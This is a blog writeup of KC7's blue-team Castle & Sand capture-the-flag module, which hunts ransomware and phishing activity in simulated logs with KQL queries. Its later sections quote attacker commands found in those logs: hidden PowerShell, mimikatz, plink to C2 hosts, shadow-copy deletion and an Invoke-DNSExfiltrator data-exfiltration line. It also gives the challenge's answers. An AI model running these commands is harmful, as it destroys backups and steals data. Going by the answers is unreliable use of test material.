A writeup for KC7 Foundation’s Castle & Sand (Security Analysis) module.
type
Post
thumbnail
category
📗 CTF Writeup
updatedAt
Mar 17, 2024 05:25 PM
I recently participated in the KC7 Foundation Blue Team Cybersecurity Challenge CTF - Castle & Sand event on 11th June. Throughout this event, I had the opportunity to delve into KQL (Kusto Query Language) and explore its application in using Azure Data Explorer (ADX). The knowledge and hands-on experience I gained in these areas have been invaluable. 💪 It was an incredible experience, and I secured the 32nd position out of 192 talented participants! 🎯
But the journey didn't stop there! Inspired by the challenging puzzles, I continued to tackle and solve every single challenge after the competition. And guess what? 🥳 I managed to climb up the leaderboard and eventually secured the 2nd place with my total accumulated score! 🎉
I would like to extend my heartfelt gratitude to the organizers of this amazing event, Emily Hacker, Waymon Ho, Greg Schloemer, Simeon Kakpovi and the rest of the KC7 Foundation team for putting together such a thought-provoking and engaging competition. Your efforts in creating a platform for cybersecurity enthusiasts like me to learn, grow, and test our skills are truly commendable. 👏
I'd also like to express my gratitude to all the participants who made this event even more competitive and exciting. The friendly competition and camaraderie among the cybersecurity community are truly inspiring.
So here’s my full writeup for the module, hope you guys enjoy it!
⚠️
NOTE: If the queries don’t pop out, just refresh the page
Contains information about the company’s employees
Email
Records emails sent and received by employees
InboundNetworkEvents
Records inbound network events including browsing activity from the Internet to devices within the company network
OutboundNetworkEvents
Records outbound network events including browsing activity from within the company network out to the Internet
AuthenticationEvents
Records successful and failed logins to devices on the company network. This includes logins to the company’s mail server.
FileCreationEvents
Records files stored on employee’s devices
ProcessEvents
Records processes created on employee’s devices
PassiveDns (External)
Records IP-domain resolutions
SecurityAlerts
Records security alerts from an employee’s device or the company’s email security system
Section 1: KQL 101 🧰
How many employees are in the company?
Employees
| count
Which employee has the IP address: “10.10.2.1”?
Employees
| where ip_addr == "10.10.2.1"
How many emails did Jacqueline Henderson receive?
Email
| where recipient == "jacqueline_henderson@castleandsand.com"
| count
How many distinct senders were seen in the email logs from sunandsandtrading.com?
Email
| where sender has "sunandsandtrading.com"
| summarize Count=count_distinct(sender)
OR
Email
| where sender has "sunandsandtrading.com"
| distinct sender
| count
How many unique websites did “Cristin Genao” visit?
Employees
| where name == "Cristin Genao"
OutboundNetworkEvents
| where src_ip == "10.10.0.141"
| summarize Count=count_distinct(url)
by src_ip
How many distinct domains in the PassiveDns records contain the word “shark”?
What IPs did the domain “sharkfin.com” resolve to (enter any one of them)?
PassiveDns
| search "sharkfin.com"
How many unique URLs were browsed by employees named “Karen”?
OutboundNetworkEvents
| where src_ip == "10.10.5.1" or src_ip == "10.10.5.208" or src_ip == "10.10.3.117"
| summarize Count=count_distinct(url)
OR
let karen_ips =
Employees
| where name has "Karen"
| distinct ip_addr;
OutboundNetworkEvents
| where src_ip in (karen_ips)
| distinct url
| count
Take the list of unique hostnames and search them across the Employees table. How many distinct employee roles were affected by the ransomware attack?
let unique_hostnames =
FileCreationEvents
| where filename == "PAY_UP_OR_SWIM_WITH_THE_FISHES.txt"
| distinct hostname;
Employees
| where hostname in (unique_hostnames)
| distinct role
| count
There are some executives hit here, but what we should be worried about are the IT roles first. They typically would have more administrative privileges on the Castle&Sand Network. How many unique hostnames belong to IT employees?
let unique_hostnames =
FileCreationEvents
| where filename == "PAY_UP_OR_SWIM_WITH_THE_FISHES.txt"
| distinct hostname;
Employees
| where hostname in (unique_hostnames)
| where role == "IT Helpdesk"
| count
One of the IT employees has their IP address ending in 46. What's their name?
let unique_hostnames =
FileCreationEvents
| where filename == "PAY_UP_OR_SWIM_WITH_THE_FISHES.txt"
| distinct hostname;
Employees
| where hostname in (unique_hostnames)
| where role == "IT Helpdesk"
| where ip_addr endswith "46"
Simeon Kakpovi
Take the unique hostnames there and search them across SecurityAlerts. How many security alerts involved the different hosts?
let unique_hostnames =
FileCreationEvents
| where filename == "PAY_UP_OR_SWIM_WITH_THE_FISHES.txt"
| distinct hostname;
SecurityAlerts
| where description has_any (unique_hostnames)
| count
How about just the unique hostnames belonging to the IT Helpdesk?
let unique_hostnames =
FileCreationEvents
| where filename == "PAY_UP_OR_SWIM_WITH_THE_FISHES.txt"
| distinct hostname;
let it_hostnames =
Employees
| where hostname in (unique_hostnames)
| where role == "IT Helpdesk"
| distinct hostname;
SecurityAlerts
| where description has_any (it_hostnames)
| count
Let's look for any anomalies in the alerts that look different from the other alerts and might be shark themed like the ransomware. You should find who owns the machine that flagged on that alert?
A suspicious file was quarantined on host 6S7W-MACHINE: Chomping-Schedule_Changes.xlsx
Employees
| where hostname == "6S7W-MACHINE"
Preston Lane
A file was flagged in that alert. When did the file appear on that user's machine?
FileCreationEvents
| where hostname == "6S7W-MACHINE"
| where filename == "Chomping-Schedule_Changes.xlsx"
Based on your answer from Question 12, it looks like the file may have come from the Internet. Search and figure out which domain it might have come from. How many unique domains did employees download this file from?
let emp_hostnames =
FileCreationEvents
| where filename == "Chomping-Schedule_Changes.xlsx"
| distinct hostname;
let emp_ip =
Employees
| where hostname in (emp_hostnames)
| distinct ip_addr;
OutboundNetworkEvents
| where src_ip in (emp_ip)
| distinct url
| where url has "xlsx"
| count
jawfin.com & sharkfin.com
Based on the employee we've been tracking from Question 9, which domain did they download the file from?
let preston_lane_ip =
Employees
| where hostname == "6S7W-MACHINE"
| distinct ip_addr;
OutboundNetworkEvents
| where src_ip in (preston_lane_ip)
| distinct url
| where url has "xlsx"
jawfin.com
Check which IPs the domain may have used before. Use the PassiveDns table. How many unique IP addresses did the domain resolve to?
PassiveDns
| where domain == "jawfin.com"
| distinct ip
| count
🦆 Which IP address is closest to when the employee had the file created on their host machine?
FileCreationEvents
| where filename == "Chomping-Schedule_Changes.xlsx"
| distinct timestamp
Timestamp ranges from 2023-05-25 16:43:20 to 2023-05-27 11:49:51
PassiveDns
| where domain == "jawfin.com"
| where timestamp between (datetime(2023-05-25,16:43:20) .. datetime(2023-05-27,16:43:20))
OR
PassiveDns
| where domain == "jawfin.com"
| where tostring(timestamp) contains ("2023-05-2")
Take all of the IP addresses from the 2 domains and search them against network events on Castle&Sand's website. How many records returned from your query?
let ip_list =
PassiveDns
| where (domain == "sharkfin.com") or (domain == "jawfin.com")
| distinct ip;
InboundNetworkEvents
| where src_ip in (ip_list)
| where url has "castleandsand"
| count
When was the first time we saw any of these actor IP addresses from Q19 against Castle&Sand's network?
2023-05-20T03:11:57Z
Search the actor IPs against AuthenticationEvents to see if they logged into any user machines or email accounts. How many records did you get back?
let ip_list =
PassiveDns
| where (domain == "sharkfin.com") or (domain == "jawfin.com")
| distinct ip;
AuthenticationEvents
| where src_ip in (ip_list)
Look for the malicious domains in Emails. How many records did you get back?
Email
| where (link contains "sharkfin.com") or (link contains "jawfin.com")
| count
How many emails total did that sender send to Castle&Sand employees?
Email
| where (sender == "legal.sand@verizon.com") and (recipient contains "castleandsand.com")
| count
Take all of the distinct sender or reply_to emails from Q24. How many emails total are associated with these email addresses?
let email_list =
Email
| where (sender == "legal.sand@verizon.com") and (recipient contains "castleandsand.com")
| distinct reply_to;
Email
| where (reply_to has_any (email_list)) or (recipient has_any (email_list))
| count
🦆 How many unique domains did the email addresses use in their emails?
let email_list =
Email
| where (sender == "legal.sand@verizon.com") and (recipient contains "castleandsand.com")
| distinct reply_to;
Email
| where (reply_to has_any (email_list)) or (recipient has_any (email_list))
| extend Result = tostring(parse_url(link).Host) // Getting the Host section only
| distinct Result
How many distinct IP addresses total were used by all of the domains identified in Q25?
let email_list =
Email
| where (sender == "legal.sand@verizon.com") and (recipient contains "castleandsand.com")
| distinct reply_to;
let domains =
Email
| where (reply_to has_any (email_list)) or (recipient has_any (email_list))
| extend Result = tostring(parse_url(link).Host) // Getting the Host section only
| distinct Result;
PassiveDns
| where domain in (domains)
| distinct ip
| count
How many user accounts did these IPs log into?
let email_list =
Email
| where (sender == "legal.sand@verizon.com") and (recipient contains "castleandsand.com")
| distinct reply_to;
let domains =
Email
| where (reply_to has_any (email_list)) or (recipient has_any (email_list))
| extend Result = tostring(parse_url(link).Host) // Getting the Host section only
| distinct Result;
let ips =
PassiveDns
| where domain in (domains)
| distinct ip;
AuthenticationEvents
| where src_ip in (ips)
| count
🦆 Looking at these emails (from Q28), how many unique filenames were served by these domains?
let email_list =
Email
| where (sender == "legal.sand@verizon.com") and (recipient contains "castleandsand.com")
| distinct reply_to;
Email
| where (reply_to has_any (email_list)) or (recipient has_any (email_list))
| extend Path = tostring(parse_url(link).Path) // Getting the Path section only
| extend Filename = tostring(parse_path(Path).Filename)
| distinct Filename
| count
Jawdropping-Employee.lnk
HR_Sharktastic_Notes.pdf
Fintastic-Work-Updates.docx
Sharktastic_Employee_Changes.xlsx
Chomping-Schedule_Changes.xlsx
How many files with these names were created on employee host machines?
let email_list =
Email
| where (sender == "legal.sand@verizon.com") and (recipient contains "castleandsand.com")
| distinct reply_to;
let filename_list =
Email
| where (reply_to has_any (email_list)) or (recipient has_any (email_list))
| extend Path = tostring(parse_url(link).Path) // Getting the Path section only
| extend Filename = tostring(parse_path(Path).Filename)
| distinct Filename;
FileCreationEvents
| where filename in (filename_list)
| count
When was the first file observed?
2023-05-25T16:43:20Z
Take the hosts from here and search for them in ProcessEvents. How many records total are associated with the identified host machines from Q30?
let email_list =
Email
| where (sender == "legal.sand@verizon.com") and (recipient contains "castleandsand.com")
| distinct reply_to;
let filename_list =
Email
| where (reply_to has_any (email_list)) or (recipient has_any (email_list))
| extend Path = tostring(parse_url(link).Path) // Getting the Path section only
| extend Filename = tostring(parse_path(Path).Filename)
| distinct Filename;
let hostname_list =
FileCreationEvents
| where filename in (filename_list)
| distinct hostname;
ProcessEvents
| where hostname in (hostname_list)
| count
🦆 Using your query from Q32, set a new query where the timestamp is greater than the first time you saw the file in Q31. How many records total do you have now?
let email_list =
Email
| where (sender == "legal.sand@verizon.com") and (recipient contains "castleandsand.com")
| distinct reply_to;
let filename_list =
Email
| where (reply_to has_any (email_list)) or (recipient has_any (email_list))
| extend Path = tostring(parse_url(link).Path) // Getting the Path section only
| extend Filename = tostring(parse_path(Path).Filename)
| distinct Filename;
let hostname_list =
FileCreationEvents
| where filename in (filename_list)
| distinct hostname;
ProcessEvents
| where hostname in (hostname_list)
| where timestamp > datetime(2023-05-25T16:43:20Z)
| count
Let's look at the first few records. There's some suspicious powershell activity that occurs near the beginning. What IP address is referenced in that command?
let email_list =
Email
| where (sender == "legal.sand@verizon.com") and (recipient contains "castleandsand.com")
| distinct reply_to;
let filename_list =
Email
| where (reply_to has_any (email_list)) or (recipient has_any (email_list))
| extend Path = tostring(parse_url(link).Path) // Getting the Path section only
| extend Filename = tostring(parse_path(Path).Filename)
| distinct Filename;
let hostname_list =
FileCreationEvents
| where filename in (filename_list)
| distinct hostname;
ProcessEvents
| where hostname in (hostname_list)
| where timestamp > datetime(2023-05-25T16:43:20Z)
| where process_name == "powershell.exe"
220.35.180.137
Which host machine did the powershell activity execute on?
CL8Q-LAPTOP
There's a weird repeating command right before this activity. What's the parent process of the first time this repeated activity occurs?
scvhost.exe
What legitimate Windows process was this file trying to masquerade as?
svchost.exe (Based on knowledge → Typosquatting)
After the powershell activity there's evidence that a popular password cracking tool may have executed on a host machine. Take that file and search for how many times that tool may have ran on the Castle&Sand environment. How many hosts had their passwords dumped?
let email_list =
Email
| where (sender == "legal.sand@verizon.com") and (recipient contains "castleandsand.com")
| distinct reply_to;
let filename_list =
Email
| where (reply_to has_any (email_list)) or (recipient has_any (email_list))
| extend Path = tostring(parse_url(link).Path) // Getting the Path section only
| extend Filename = tostring(parse_path(Path).Filename)
| distinct Filename;
let hostname_list =
FileCreationEvents
| where filename in (filename_list)
| distinct hostname;
ProcessEvents
| where hostname in (hostname_list)
| where timestamp > datetime(2023-05-25T16:43:20Z)
| where process_commandline contains "mimikatz.exe"
| count
Based on Q34, how many hosts did that powershell command execute on?
let email_list =
Email
| where (sender == "legal.sand@verizon.com") and (recipient contains "castleandsand.com")
| distinct reply_to;
let filename_list =
Email
| where (reply_to has_any (email_list)) or (recipient has_any (email_list))
| extend Path = tostring(parse_url(link).Path) // Getting the Path section only
| extend Filename = tostring(parse_path(Path).Filename)
| distinct Filename;
let hostname_list =
FileCreationEvents
| where filename in (filename_list)
| distinct hostname;
ProcessEvents
| where hostname in (hostname_list)
| where timestamp > datetime(2023-05-25T16:43:20Z)
| where process_name == "powershell.exe"
| where process_commandline contains "powershell.exe -nop -w hidden -c"
| count
🦆 How many unique IP addresses were used in these commands?
let email_list =
Email
| where (sender == "legal.sand@verizon.com") and (recipient contains "castleandsand.com")
| distinct reply_to;
let filename_list =
Email
| where (reply_to has_any (email_list)) or (recipient has_any (email_list))
| extend Path = tostring(parse_url(link).Path) // Getting the Path section only
| extend Filename = tostring(parse_path(Path).Filename)
| distinct Filename;
let hostname_list =
FileCreationEvents
| where filename in (filename_list)
| distinct hostname;
ProcessEvents
| where hostname in (hostname_list)
| where timestamp > datetime(2023-05-25T16:43:20Z)
| where process_name == "powershell.exe"
| where process_commandline contains "powershell.exe -nop -w hidden -c"
| distinct process_commandline
| count
🦆 Which of these IP addresses was seen the most?
let email_list =
Email
| where (sender == "legal.sand@verizon.com") and (recipient contains "castleandsand.com")
| distinct reply_to;
let filename_list =
Email
| where (reply_to has_any (email_list)) or (recipient has_any (email_list))
| extend Path = tostring(parse_url(link).Path) // Getting the Path section only
| extend Filename = tostring(parse_path(Path).Filename)
| distinct Filename;
let hostname_list =
FileCreationEvents
| where filename in (filename_list)
| distinct hostname;
ProcessEvents
| where hostname in (hostname_list)
| where timestamp > datetime(2023-05-25T16:43:20Z)
| where process_name == "powershell.exe"
| where process_commandline contains "powershell.exe -nop -w hidden -c"
| extend ipAddress = extract(@"\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}", 0, process_commandline)
// 2nd argument - The capture group to extract.
// 0 = Entire match
// 1 = Value matched by the first () in the regex
// >2 = Subsequent ()
| summarize Count = count() by ipAddress
| order by Count desc
157.242.169.232
Take the parent processes from Q39. How many records total involved those processes?
let email_list =
Email
| where (sender == "legal.sand@verizon.com") and (recipient contains "castleandsand.com")
| distinct reply_to;
let filename_list =
Email
| where (reply_to has_any (email_list)) or (recipient has_any (email_list))
| extend Path = tostring(parse_url(link).Path) // Getting the Path section only
| extend Filename = tostring(parse_path(Path).Filename)
| distinct Filename;
let hostname_list =
FileCreationEvents
| where filename in (filename_list)
| distinct hostname;
let parent_process_list =
ProcessEvents
| where hostname in (hostname_list)
| where timestamp > datetime(2023-05-25T16:43:20Z)
| where process_name == "powershell.exe"
| where process_commandline contains "powershell.exe -nop -w hidden -c"
| distinct parent_process_name;
ProcessEvents
| where parent_process_name in (parent_process_list)
| count
See if any of these files are referenced in the command line. How many records did you find?
let email_list =
Email
| where (sender == "legal.sand@verizon.com") and (recipient contains "castleandsand.com")
| distinct reply_to;
let filename_list =
Email
| where (reply_to has_any (email_list)) or (recipient has_any (email_list))
| extend Path = tostring(parse_url(link).Path) // Getting the Path section only
| extend Filename = tostring(parse_path(Path).Filename)
| distinct Filename;
let hostname_list =
FileCreationEvents
| where filename in (filename_list)
| distinct hostname;
let parent_process_list =
ProcessEvents
| where hostname in (hostname_list)
| where timestamp > datetime(2023-05-25T16:43:20Z)
| where process_name == "powershell.exe"
| where process_commandline contains "powershell.exe -nop -w hidden -c"
| distinct parent_process_name;
ProcessEvents
| where process_commandline has_any (parent_process_list)
| count
When was the earliest time found in Q43?
2023-06-09T19:43:58Z
You remember that the encrypted files all had the extension .sharkfin. Search for that in created files. When was the earliest time you saw these files?
FileCreationEvents
| where filename endswith ".sharkfin"
Shark boys ; shark boyz ; shark bois ; Shark Boyz ; sharkboyz ; sharkbois
What MITRE Technique is aligned with what this group did on Castle&Sand systems?
T1486 (Data Encrypted for Impact)
Search for the email domain used in the ransom note. What is the ZIP code of their headquarters?
https://onionmail.org/privacy
What country is this email service located in?
USA
Look at the IP addresses from Section 2, Q16 using MaxMind GeoIP2. How many continents total are these IP addresses from? https://www.maxmind.com/en/geoip-demo
3
Use search.censys.io to look up the IP address found in Section 2, Q17. What is the Autonomous System (AS) number for the IP address?
AS3215
Look at the IPs from Section 2, Q18. Which one is assigned to a University?
157.242.169.232 (Loyola Marymount University)
🦆 Look at the emails from Section 2, Q25. Which email address is associated with a company outside of the United States?
Email
| where (sender == "legal.sand@verizon.com") and (recipient contains "castleandsand.com")
| distinct reply_to
| extend reply_to = split(reply_to, "@")[1];
PassiveDns
| where domain in ("verizon.com", "hotmail.com", "yandex.com", "castleandsand.com")
| distinct ip
Since there is no results, meaning castleandsand’s location cannot be found (No mapped IP)
However, yandex is a Russian company (& the only email in the email list)
urgent_urgent@yandex.com
For the tool found in Section 2, Q38, what is the MITRE ID for that specific software?
S0002 (Mimikatz)
For the tool found in Section 2, Q38, what is the MITRE ID for that type of technique that this tool is typically used for?
For Section 2, Q43, what ransomware family uses a command similar to this process execution?
Bablock ; Rorschach ; Storm-1219
(Can be seen from S3Q13 Community section or Family labels section, Bablock is always mentioned)
Section 4: Sand in my 👁️👁️ (New Threat Actor)
Castle&Sand may have been targeted by a recent phishing campaign. The threat actors used an email with Castle&Sand's name in it: castleandsand_official@outlook.com. How many emails were sent from this email to Castle&Sand employees?
Email
| where sender startswith "castleandsand_official@outlook.com"
| count
There appears to be another email account. How many emails total are referenced by these two email accounts?
Email
| where sender startswith "castleandsand_official@outlook.com" or sender startswith "castleandsandlegaldepartment@gmail.com"
| count
How many unique domains were used by these email accounts?
Email
| where sender startswith "castleandsand_official@outlook.com" or sender startswith "castleandsandlegaldepartment@gmail.com"
| extend Result = tostring(parse_url(link).Host) // Getting the Host section only
| distinct Result
| count
Based on these domains, what type of attack did this threat actor conduct?
Watering-hole attack
How many distinct job roles were targeted by this type of attack?
let watering_hole_domain =
Email
| where sender startswith "castleandsand_official@outlook.com" or sender startswith "castleandsandlegaldepartment@gmail.com"
| distinct recipient;
Employees
| where email_addr in (watering_hole_domain)
| distinct role
| count
🦆 Take the targeted employees and look for all external IP addresses that authenticated to those users. How many external IP addresses were used to successfully log into those user accounts?
let watering_hole_domain =
Email
| where sender startswith "castleandsand_official@outlook.com" or sender startswith "castleandsandlegaldepartment@gmail.com"
| distinct recipient;
let emp_ip_list =
Employees
| distinct ip_addr;
let targeted_users =
Employees
| where email_addr in (watering_hole_domain)
| distinct username;
AuthenticationEvents
| where not(src_ip in (emp_ip_list)) and result == "Successful Login" and username in (targeted_users) and description !has "incorrect"
| distinct src_ip
| count
💡
VERY IMPORTANT: Use username instead of hostname, the answer differs! This is so maybe because they first log into accounts and then can spread to more machines using additional IP addresses later.
🦆 These IP addresses may have accessed email inboxes and downloaded data. How many unique filenames were downloaded by these IP addresses?
let watering_hole_domain =
Email
| where sender startswith "castleandsand_official@outlook.com" or sender startswith "castleandsandlegaldepartment@gmail.com"
| distinct recipient;
let emp_ip_list =
Employees
| distinct ip_addr;
let targeted_users =
Employees
| where email_addr in (watering_hole_domain)
| distinct username;
let external_ip =
AuthenticationEvents
| where not(src_ip in (emp_ip_list)) and result == "Successful Login" and username in (targeted_users) and description !has "incorrect"
| distinct src_ip;
InboundNetworkEvents
| where src_ip in (external_ip)
| where url has "download=true&"
| extend Filename = tostring(parse_url(url).['Query Parameters']['output'])
| distinct Filename
| count
💡
InboundNetworkEvents’s url column has mail related queries:’D
How many distinct IPs were involved in the stealing of downloaded data from the previous questions?
let watering_hole_domain =
Email
| where sender startswith "castleandsand_official@outlook.com" or sender startswith "castleandsandlegaldepartment@gmail.com"
| distinct recipient;
let emp_ip_list =
Employees
| distinct ip_addr;
let targeted_users =
Employees
| where email_addr in (watering_hole_domain)
| distinct username;
let external_ip =
AuthenticationEvents
| where not(src_ip in (emp_ip_list)) and result == "Successful Login" and username in (targeted_users) and description !has "incorrect"
| distinct src_ip;
InboundNetworkEvents
| where src_ip in (external_ip)
| where url has "download=true&"
| extend Filename = tostring(parse_url(url).['Query Parameters']['output'])
| distinct src_ip
| count
Based on the IPs from Q6, how many unique domains did they resolve to?
let watering_hole_domain =
Email
| where sender startswith "castleandsand_official@outlook.com" or sender startswith "castleandsandlegaldepartment@gmail.com"
| distinct recipient;
let emp_ip_list =
Employees
| distinct ip_addr;
let targeted_users =
Employees
| where email_addr in (watering_hole_domain)
| distinct username;
let username_list =
AuthenticationEvents
| where not(src_ip in (emp_ip_list)) and result == "Successful Login" and username in (targeted_users)
| distinct src_ip;
PassiveDns
| where ip in (username_list)
| distinct domain
| count
Go back to the user accounts that may have been affected by the phishing campaign. How many hosts have they logged into?
let watering_hole_recipient =
Email
| where sender startswith "castleandsand_official@outlook.com" or sender startswith "castleandsandlegaldepartment@gmail.com"
| distinct recipient;
let watering_hole_username =
Employees
| where email_addr in (watering_hole_recipient)
| distinct username;
AuthenticationEvents
| where username in (watering_hole_username)
| where result == "Successful Login"
| distinct hostname
| count
Investigate the domains from Q9. How many files are present on Castle&Sand systems that originated from these domains?
let watering_hole_domain =
Email
| where sender startswith "castleandsand_official@outlook.com" or sender startswith "castleandsandlegaldepartment@gmail.com"
| distinct recipient;
let emp_ip_list =
Employees
| distinct ip_addr;
let targeted_users =
Employees
| where email_addr in (watering_hole_domain)
| distinct username;
let external_ip_list =
AuthenticationEvents
| where not(src_ip in (emp_ip_list)) and result == "Successful Login" and username in (targeted_users)
| distinct src_ip;
let domain_list =
PassiveDns
| where ip in (external_ip_list)
| distinct domain;
let filenames =
OutboundNetworkEvents
| where tostring(parse_url(url).Host) in (domain_list)
| distinct url
| extend Path = tostring(parse_url(url).Path)
| extend Filename = tostring(parse_path(Path).Filename)
| distinct Filename;
FileCreationEvents
| where filename in (filenames)
| count
Distinct filenames:
Work-Updates.docx
HR_Notes.pdf
employee.lnk
Employee_Changes.xlsx
store_updates.xlsx
🦆 Investigate what happens after these files are downloaded and find malicious activity. How many unique malware filenames are created from these files?
let victim_hostname =
FileCreationEvents
| where filename in ("Work-Updates.docx", "HR_Notes.pdf", "employee.lnk", "Employee_Changes.xlsx", "store_updates.xlsx")
| distinct hostname;
FileCreationEvents
| where hostname in (victim_hostname)
A pattern is found where after installation of the files mentioned, there will be another instance of the same hostname, but with a different/suspicious filename
let victim_hostname =
FileCreationEvents
| where filename in ("Work-Updates.docx", "HR_Notes.pdf", "employee.lnk", "Employee_Changes.xlsx", "store_updates.xlsx")
| distinct hostname;
FileCreationEvents
| where hostname in (victim_hostname)
| serialize // Marks the input row set as serialized (ordered), so that window functions can be applied to it
| extend next_timestamp_filename = next(filename) // Finding the next filename on the next timestamp
| where filename in ("Work-Updates.docx", "HR_Notes.pdf", "employee.lnk", "Employee_Changes.xlsx", "store_updates.xlsx")
| where next_timestamp_filename !in ("Work-Updates.docx", "HR_Notes.pdf", "employee.lnk", "Employee_Changes.xlsx", "store_updates.xlsx") // If the next file is one of the originals, ignore
| distinct next_timestamp_filename
| count
Malware filenames:
TSVIPSrv.dll
1.exe
i.exe
wmi.dll
procdump64.exe (Only this file is not malicious in VirusTotal)
How many of these files total are present on Castle&Sand systems?
FileCreationEvents
| where filename in ("TSVIPSrv.dll", "1.exe", "i.exe", "wmi.dll", "procdump64.exe")
| count
How many distinct C2 servers are associated with the malware?
ProcessEvents
// All related processes
| where parent_process_name in ("TSVIPSrv.dll", "1.exe", "i.exe", "wmi.dll", "procdump64.exe")
| where process_commandline has "plink.exe"
| distinct process_commandline
| count
C2 servers are IPs in this case
195.242.92.76
190.198.227.17
43.185.57.65
198.161.105.253
223.119.134.94
215.168.239.75
🦆 Find out what this threat actor did at the very end. When is the first time you see this final action by the threat actor? Copy & paste the full timestamp.
ProcessEvents
| where parent_process_name in ("TSVIPSrv.dll", "1.exe", "i.exe", "wmi.dll", "procdump64.exe")
-i C:\Users\admin\.ssh\id_rsa - Path to the private key file used for authentication
-q - Quiet mode, suppressing output
cmd.exe /c a.bat > C:\wmi.dll 2>&1
/c - Option to execute the specified command and then terminate
a.bat - Batch file or script to be executed
2>&1 - Redirects the standard error to the same location as the standard output (wmi.dll)
Getting the last affected user with the last timestamp and looking through the commands:
ProcessEvents
| where parent_process_name in ("TSVIPSrv.dll", "1.exe", "i.exe", "wmi.dll", "procdump64.exe")
| where username == "jojones" and hostname == "NYEL-DESKTOP"
ProcessEvents
| where username == "jojones" and hostname == "NYEL-DESKTOP" and timestamp > datetime(2023-05-17T09:20:15Z)
Attacker was doing recon:
cmd.exe whoami
cmd.exe ipconfig /all
cmd.exe net localgroup administrators /domain
cmd.exe nltest /dc:list (List the domain controllers available in the current domain)
Getting the first timestamp from the attack, and viewing the commands (Unsuspicious ones were filtered out at the end):
let affected_username =
ProcessEvents
| where parent_process_name in ("TSVIPSrv.dll", "1.exe", "i.exe", "wmi.dll", "procdump64.exe")
| distinct username;
let affected_hostname =
ProcessEvents
| where parent_process_name in ("TSVIPSrv.dll", "1.exe", "i.exe", "wmi.dll", "procdump64.exe")
| distinct hostname;
ProcessEvents
| where hostname in (affected_hostname) and username in (affected_username) and timestamp > datetime(2023-05-10T06:50:05Z)
| distinct process_commandline
| where process_commandline !contains "Teams.exe"
and process_commandline !contains "Spotify"
and process_commandline !contains "EXCEL.EXE"
and process_commandline !contains "WINWORD.EXE"
and process_commandline !contains "OneDrive.exe"
Allows for transfering (exfiltrate) a file over a DNS request covert channel
Basically a data leak testing tool allowing to exfiltrate data over a covert channel
Trying to inhibit system recovery:
bcdedit.exe 111111111111111111111111111
Used to manage the Boot Configuration Data (BCD) store in Windows
The BCD store contains boot configuration parameters and controls the boot process for Windows
Responsible for specifying which operating system to boot, configuring boot options, and managing boot entries
111...111 is not a valid argument
Without a valid argument, the command would likely result in an error or display the available options for the bcdedit.exe command
vssadmin.exe 11111111111111111111111
Used to manage the Volume Shadow Copy Service (VSS) in Windows
vssadmin.exe delete shadows /All /Quiet
Delete all existing shadow copies on the system
Shadow copies are created by the Volume Shadow Copy Service and are used for creating backups or restoring previous versions of files
By running this command with the /All and /Quiet options, it deletes all shadow copies without prompting for confirmation or displaying any output
wbadmin.exe 1111111111
Used for Windows Server Backup administration and recovery operations
wevtutil.exe 111111111111111111111111111111
Used for managing Windows Event Logs
Trying Invoke-DNSExfiltrator:
let affected_username =
ProcessEvents
| where parent_process_name in ("TSVIPSrv.dll", "1.exe", "i.exe", "wmi.dll", "procdump64.exe")
| distinct username;
let affected_hostname =
ProcessEvents
| where parent_process_name in ("TSVIPSrv.dll", "1.exe", "i.exe", "wmi.dll", "procdump64.exe")
| distinct hostname;
ProcessEvents
| where hostname in (affected_hostname) and username in (affected_username) and timestamp > datetime(2023-05-10T06:50:05Z)
| where process_commandline contains "Invoke-DNSExfiltrator -i Invoke-DNSExfiltrator.ps1 -d exfil.castlesand.zip -p ssad3 -doh cloudflare -t 500"
2023-05-26T10:33:04Z
(The first occurrence of Invoke-DNSExfiltrator -i Invoke-DNSExfiltrator.ps1 -d exfil.castlesand.zip -p ssad3 -doh cloudflare -t 500)
Extra note:
let affected_username =
ProcessEvents
| where parent_process_name in ("TSVIPSrv.dll", "1.exe", "i.exe", "wmi.dll", "procdump64.exe")
| distinct username;
let affected_hostname =
ProcessEvents
| where parent_process_name in ("TSVIPSrv.dll", "1.exe", "i.exe", "wmi.dll", "procdump64.exe")
| distinct hostname;
FileCreationEvents
| where hostname in (affected_hostname) and username in (affected_username) and timestamp > datetime(2023-05-10T06:50:05Z)
Invoke-DNSExfiltrator.ps1 was created
Nearing the end, every file is encrypted with .sharkfin
What MITRE Technique is this aligned with?
T1048 (Exfiltration - Exfiltration Over Alternative Protocol)
